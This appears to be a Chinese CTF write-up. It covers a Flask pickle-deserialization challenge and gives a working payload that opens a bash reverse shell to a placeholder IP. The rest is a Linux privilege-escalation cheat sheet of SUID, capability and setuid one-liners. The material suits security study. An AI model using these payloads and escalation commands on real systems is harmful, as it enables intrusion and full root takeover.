Linux提权

Linux提权

2023洋葱杯有一道python的pickle反序列化的题,弹到shell了但是Linux提权不熟悉,在此总结反思……

前面有flask_session伪造,不再赘述,后半段源代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, request, make_response
import base64
import pickle

app = Flask(__name__)

# 路由处理函数,返回包含代码的片段
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

# 路由处理函数,处理 pick1e cookie
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"

pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp

if pick1e:
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"

except Exception as e:
error_message = str(e)
return error_message


class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

很显然,需要外带(),好好好这就外带,pickle反序列化,不使用reduce

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

payload如下:

b"\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c 'bash -i >&/dev/tcp/xxx.xx.xx.xx/7777 0>&1'\nb0c__main__\nGWHT\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub."

由于有一些不太正常的字符,base64处理一下

1
2
3
import base64
code_pickle = base64.b64encode(b"\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c 'bash -i >&/dev/tcp/xxx.xx.xx.xx/7777 0>&1'\nb0c__main__\nGWHT\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.")
print(code_pickle)

弹到shell之后只是www-data,不是root看不了flag,这就需要提权了,下面就是一些提权方式。

suid提权

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

上述命令可以找到存在suid的命令

kali测试,看到find,进行find提权

1
find anyfile -exec whoami \;

好耶,提到权限力。

除此之外,还有许多的命令可以利用suid权限获得root权限

nmap vim find bash more less nano cp awk

namp交互

1
2
3
nmap --interactive
nmap> !sh
sh-3.2# whoami

vim

vim如果以suid运行,它将继承root用户的权限,可以读取系统上的所有文件。

1
vim.tiny /etc/passwd

利用openssl生成密码

1
openssl passwd -1 -salt 114154 cmd114514

写入,创造新用户。

bash

以root身份打开一个bash shell。

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

1
2
3
less /etc/passwd
#在less中输入:
!/bin/sh

more

more命令进入shell和less相同

1
2
3
more /etc/passwd
#在more中输入:
!/bin/sh

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。
cp

使用cp覆盖原来的/etc/passwd文件
awk

awk命令进入shell:

1
awk 'BEGIN {system("/bin/bash")}'

利用capability进行提权

Linux提权之:利用capabilities提权 _

capability翻译为能力的意思,linux中能力的概念和suid类似,是用来让普通用户也可以做超级用户的工作,从而设置的一个机制,原来linux分的是普通用户和超级用户,后来加了能力,即赋予某某账号能力,这个账号有能力了,就可以去做事了。
capability可分割root权限,把root特权分割成不同的能力,然后给与普通用户不同的能力,每一种能力都代表着一种特权。可以以用 man capabilities 查看能力

CAP_AUDIT_CONTROL 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAP_AUDIT_READ 允许通过 multicast netlink 套接字读取审计日志
CAP_AUDIT_WRITE 将记录写入内核审计日志
CAP_BLOCK_SUSPEND 使用可以阻止系统挂起的特性
CAP_CHOWN 修改文件所有者的权限
CAP_DAC_OVERRIDE 忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID 允许设置文件的 setuid 位
CAP_IPC_LOCK 允许锁定共享内存片段
CAP_IPC_OWNER 忽略 IPC 所有权检查
CAP_KILL 允许对不属于自己的进程发送信号
CAP_LEASE 允许修改文件锁的 FL_LEASE 标志
CAP_LINUX_IMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_MAC_ADMIN 允许 MAC 配置或状态更改
CAP_MAC_OVERRIDE 覆盖 MAC(Mandatory Access Control)
CAP_MKNOD 允许使用 mknod() 系统调用
CAP_NET_ADMIN 允许执行网络管理任务
CAP_NET_BIND_SERVICE 允许绑定到小于 1024 的端口
CAP_NET_BROADCAST 允许网络广播和多播访问
CAP_NET_RAW 允许使用原始套接字
CAP_SETGID 允许改变进程的 GID
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETPCAP 参考 capabilities man page
CAP_SETUID 允许改变进程的 UID
CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT 允许重新启动系统
CAP_SYS_CHROOT 允许使用 chroot() 系统调用
CAP_SYS_MODULE 允许插入和删除内核模块
CAP_SYS_NICE 允许提升优先级及设置其他进程的优先级
CAP_SYS_PACCT 允许执行进程的 BSD 式审计
CAP_SYS_PTRACE 允许跟踪任何进程
CAP_SYS_RAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYS_RESOURCE 忽略资源限制
CAP_SYS_TIME 允许改变系统时钟
CAP_SYS_TTY_CONFIG 允许配置 TTY 设备
CAP_SYSLOG 允许使用 syslog() 系统调用
CAP_WAKE_ALARM 允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器)

设置程序能力的时,有三个选项:

inheritable,简称i,表示是否可继承。
permitted,简称p,表示是否允许使用。
effective,简称e,表示特权是否有效。

我们利用的就是管理员能力滥用导致的提权

1
getcap -r / 2>/dev/null

根目录查看cap能力情况

python提权

1
python -c 'import os;os.setuid(0);os.system("/bin/bash")'

perl提权

1
perl -e 'use POSIX(setuid);POSIX::setuid(0);exec "/bin/bash";'

gdb提权

1
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

php

1
php -r "posix_setuid(0); system('/bin/sh');"

ruby

1
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

rvim

1
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

vim

1
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'